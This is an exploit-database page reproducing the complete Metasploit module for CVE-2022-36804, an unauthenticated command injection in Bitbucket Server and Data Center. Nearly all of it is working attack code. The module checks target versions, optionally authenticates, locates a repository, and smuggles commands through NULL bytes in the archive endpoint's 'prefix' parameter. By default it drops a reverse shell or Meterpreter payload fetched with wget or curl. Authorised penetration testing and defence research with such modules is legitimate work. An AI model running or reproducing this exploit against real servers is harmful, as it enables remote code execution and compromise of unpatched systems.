Advertisement






Bitbucket Git Command Injection

CVE Category Price Severity
CVE-2022-36804 CWE-78 $5,000 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2022-09-25
CPE
cpe:cpe:/a:bitbucket:bitbucket:git-command-injection
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022090072

Below is a copy:

Bitbucket Git Command Injection
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Bitbucket Git Command Injection',
        'Description' => %q{
          Various versions of Bitbucket Server and Data Center are vulnerable to
          an unauthenticated command injection vulnerability in multiple API endpoints.

          The `/rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive` endpoint
          creates an archive of the repository, leveraging the `git-archive` command to do so.
          Supplying NULL bytes to the request enables the passing of additional arguments to the
          command, ultimately enabling execution of arbitrary commands.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'TheGrandPew', # discovery
          'Ron Bowes', # analysis and PoC
          'Jang', # testanull - PoC
          'Shelby Pace' # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html' ],
          [ 'URL', 'https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/' ],
          [ 'CVE', '2022-36804' ]
        ],
        'Platform' => [ 'linux' ],
        'Privileged' => false,
        'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
        'Targets' => [
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Type' => :linux_dropper,
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' => %w[wget curl bourne],
              'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Type' => :unix_cmd,
              'Arch' => ARCH_CMD,
              'Payload' => { 'BadChars' => %(:/?#[]@) },
              'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DisclosureDate' => '2022-08-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ IOC_IN_LOGS ],
          'SideEffects' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(7990),
        OptString.new('TARGETURI', [ true, 'The base URI of Bitbucket application', '/']),
        OptString.new('USERNAME', [ false, 'The username to authenticate with', '' ]),
        OptString.new('PASSWORD', [ false, 'The password to authenticate with', '' ])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'login')
    )

    return CheckCode::Unknown('Failed to receive response from application') unless res

    unless res.body.include?('Bitbucket')
      return CheckCode::Safe('Target does not appear to be Bitbucket')
    end

    footer = res.get_html_document&.at('footer')
    return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer

    version_str = footer.at('span')&.children&.text
    return CheckCode::Detected('Cannot find version string in footer') unless version_str

    matches = version_str.match(/v(\d+\.\d+\.\d+)/)
    return CheckCode::Detected('Version unknown') unless matches && matches.length > 1

    version_str = matches[1]
    vprint_status("Found Bitbucket version: #{matches[1]}")

    num_vers = Rex::Version.new(version_str)
    return CheckCode::NotVulnerable if num_vers <= Rex::Version.new('6.10.17')

    major, minor, revision = version_str.split('.')
    case major
    when '6'
      return CheckCode::Appears
    when '7'
      case minor
      when '6'
        return CheckCode::Appears if revision.to_i < 17
      when '17'
        return CheckCode::Appears if revision.to_i < 10
      when '21'
        return CheckCode::Appears if revision.to_i < 4
      end
    when '8'
      case minor
      when '0', '1'
        return CheckCode::Appears if revision.to_i < 3
      when '2'
        return CheckCode::Appears if revision.to_i < 2
      when '3'
        return CheckCode::Appears if revision.to_i < 1
      end
    end

    CheckCode::Detected
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def authenticate
    print_status("Attempting to authenticate with user '#{username}' and password '#{password}'")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to reach login page') unless res&.body&.include?('login')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
      'keep_cookies' => true,
      'vars_post' =>
      {
        'j_username' => username,
        'j_password' => password,
        'submit' => 'Log in'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to retrieve a response from log in attempt') unless res
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'dashboard'),
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to receive a response from the dashboard') unless res

    unless res.body.include?('Your work') && res.body.include?('Projects')
      fail_with(Failure::BadConfig, 'Login failed...Credentials may be invalid')
    end

    @authenticated = true
    print_good('Successfully logged into Bitbucket!')
  end

  def find_public_repo
    print_status('Searching Bitbucket for publicly accessible repository')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
      'keep_cookies' => true
    )

    fail_with(Failure::Disconnected, 'Did not receive a response') unless res
    json_data = JSON.parse(res.body)
    fail_with(Failure::UnexpectedReply, 'Response had no JSON') unless json_data

    unless json_data['size'] > 0
      fail_with(Failure::NotFound, 'Bitbucket instance has no publicly available repositories')
    end

    # opt for public repos unless none exist.
    # Attempt to use a private repo if so
    repos = json_data['values']
    possible_repos = repos.select { |repo| repo['public'] == true }
    if possible_repos.empty? && @authenticated
      possible_repos = repos.select { |repo| repo['public'] == false }
    end

    fail_with(Failure::NotFound, 'There doesn\'t appear to be any repos to use') if possible_repos.empty?
    possible_repos.each do |repo|
      project = repo['project']
      next unless project

      @project = project['key']
      @repo = repo['slug']
      break if @project && @repo
    end

    fail_with(Failure::NotFound, 'Failed to find a repo to use for exploit') unless @project && @repo
    print_good("Found public repo '#{@repo}' in project '#{@project}'!")
  end

  def execute_command(cmd, _opts = {})
    uri = normalize_uri(target_uri.path, 'rest/api/latest/projects', @project, 'repos', @repo, 'archive')
    send_request_cgi(
      'method' => 'GET',
      'uri' => uri,
      'keep_cookies' => true,
      'vars_get' =>
      {
        'format' => 'zip',
        'path' => Rex::Text.rand_text_alpha(2..5),
        'prefix' => "#{Rex::Text.rand_text_alpha(1..3)}\x00--exec=`#{cmd}`\x00--remote=#{Rex::Text.rand_text_alpha(3..8)}"
      }
    )
  end

  def exploit
    @authenticated = false
    authenticate unless username.blank? && password.blank?
    find_public_repo

    if target['Type'] == :linux_dropper
      execute_cmdstager(linemax: 6000)
    else
      execute_command(payload.encoded)
    end
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum